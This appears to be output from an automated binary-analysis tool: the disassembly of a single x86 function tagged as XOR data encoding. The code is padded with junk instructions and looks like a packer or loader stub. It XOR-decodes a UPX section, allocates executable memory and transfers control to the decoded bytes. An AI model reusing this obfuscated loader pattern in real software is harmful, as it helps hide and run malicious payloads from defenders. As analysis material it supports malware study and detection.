Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6936ab27
mov edi, 0xaf04c5c6
inc eax
and eax, eax
popal
mov edi, 0xf6c8e009
inc edi
mov ebx, 0
mov edi, eax
inc ecx
not ecx
add edx, 0x1684d36d
mov esi, edi
sub edx, 1
add edx, 0x8c83af2b
mov eax, esi
not ecx
sub edx, ecx
mov edx, 0x224ef603
inc ebx
not edx
not ecx
cmp ebx, 0x100f410
jne 0x47afd2
add ecx, 1
mov ecx, edx
cmp ebx, 0x100f410
je 0x47b01e
mov ebx, 0
mov edx, dword [ebx]
sub edx, ecx
inc ecx
and edx, ecx
or edi, edi
mov eax, 0xd1348cfc
mov ecx, 0x47ada2
add esi, 1
sub esi, eax
mov ebx, 0x47af96
mov eax, edx
dec esi
dec edx
mov edi, dword [ecx]
mov edx, esi
dec esi
add esi, 0xdca004ef
and edi, 0xff
and eax, esi
add edx, esi
mov esi, 0x71c308b0
xor dword [ebx], edi
add eax, edx
add eax, esi
mov eax, edx
inc ebx
mov eax, 0x94680816
or eax, esi
inc esi
inc ecx
and esi, edx
sub eax, 0xe9d8475e
add eax, 0x3eac34f4
cmp ebx, entry0
jl 0x47b040
dec esi
sub edx, 0x442a3832
mov edx, eax
inc edx
sub ebx, 0xf442a367
sub esi, 0xc4084b90
add esi, edx
mov edi, 0x47af9a
and ecx, ecx
sub ebx, 0xe1ba8e46
sub ecx, 0xb8c9f91
mov edi, dword [edi]
mov edx, ecx
mov ebx, 0xdf51648c
not edx
mov edi, dword [edi]
dec edx
add ecx, 0x554912f3
push edi
mov esi, 0x195a3825
add ecx, 0xd8a862ab
mov edi, 0x47af96
sub ebx, ecx
or ecx, esi
mov edx, ebx
mov edi, dword [edi]
or edx, ecx
or ebx, ecx
mov ecx, esi
mov edi, dword [edi]
add ebx, 0x243611d7
mov ecx, 0xd8219ec5
add ebx, ebx
push 0x47af9e
or ecx, esi
mov esi, 0x4d6f35d2
call edi
sub esi, ecx
sub ecx, edx
inc esi
pop edi
not ecx
add ebx, 0x8ba38e07
push 0x47afab
sub ecx, 1
add ebx, 0x4aa81e70
and edx, ecx
sub esp, 4
mov dword [esp], eax
mov ebx, 0x5a73ecad
add esi, 0x5d15d6ba
call edi
add ebx, 1
not esi
add ecx, ecx
push 0x40
mov esi, ecx
and edx, esi
sub ebx, esi
sub esp, 4
mov dword [esp], 0x3000
and edx, esi
sub ecx, ebx
sub esi, 0xa819f659
push 0x20000b88
sub edx, 0xa8e21a0d
sub edx, 0xb3c5e317
or ecx, ecx
sub esp, 4
mov dword [esp], 0
add ecx, ebx
sub esi, edx
add edx, ecx
call eax
mov ecx, ebx
add esi, 0x132df971
or ebx, ebx
add eax, 0x20000b10
inc esi
not esi
mov edi, 0xef777e23
sub ebx, 0x6891b527
dec edx
not edx
mov dword [eax], edi
add ebx, 0x933370fd
sub ebx, edx
mov edi, dword [eax]
not ecx
mov ebx, edx
mov esi, ebx
cmp edi, 0xef777e23
je 0x47b1c5
mov ecx, 0
mov al, byte [ecx]
mov edx, 0xa3174f49
or ebx, esi
not ecx
sub ecx, esi
inc esi
sub esi, 0x60e051dc
not edi
add edi, 0x480b04de
or edi, eax
mov ebx, section.UPX1
and eax, eax
inc edi
mov esi, 0x47ada1
and edi, eax
mov eax, edi
mov ecx, 0
mov edi, eax
mov edi, 0x9003e7f0
mov edx, 0x47ada2
mov edi, eax
add edi, 1
lea edx, [edx + ecx]
not eax
mov eax, edi
and edi, eax
mov edx, dword [edx]
and edi, edi
add eax, edi
and edx, 0xff
not eax
add eax, 0x945054b8
inc ecx
sub eax, 0x2ef7c5bd
add eax, 1
add edi, 0xaf3cd4b1
cmp ecx, 0x1f4
jne 0x47b248
mov ecx, 0
sub eax, 0x5e98991d
dec eax
mov edi, 0xc25acb0
dec edi
mov eax, 0x7b4a04d5
xor dword [ebx], edx
sub edi, eax
inc edi
sub edi, 0x39cbfbfd
add ebx, 2
mov eax, edi
dec eax
add eax, eax
cmp ebx, esi
jl 0x47b1fe
and eax, edi
inc edi
sub eax, 1
sub eax, 0xf41c5f8a
mov esi, section.UPX1
add edx, 1
mov ecx, 0x37ecdc92
inc edx
mov ebx, section.UPX1
not ecx
and edx, edx
mov edx, ecx
mov edi, 0x47ada1
and edx, edx
mov ecx, edx
or edx, edx
mov eax, 0
and edx, edx
dec ecx
mov ecx, edx
mov al, byte [ebx]
inc ecx
sub ecx, 0xfec79e76
mov byte [esi], al
add ecx, 1
or edx, edx
mov ecx, 0xedceae13
add esi, 1
sub ecx, edx
and ecx, edx
sub edx, ecx
add ebx, 2
sub edx, 0x5dcb19a1
mov ecx, edx
cmp ebx, edi
jle 0x47b2b8
sub ecx, edx
or edx, edx
mov edi, 0x7d7cd060
sub eax, edi
sub esp, 4
mov dword [esp], 0x45e6a0
sub eax, 0xe810d02e
mov eax, 0x5a8c42da
ret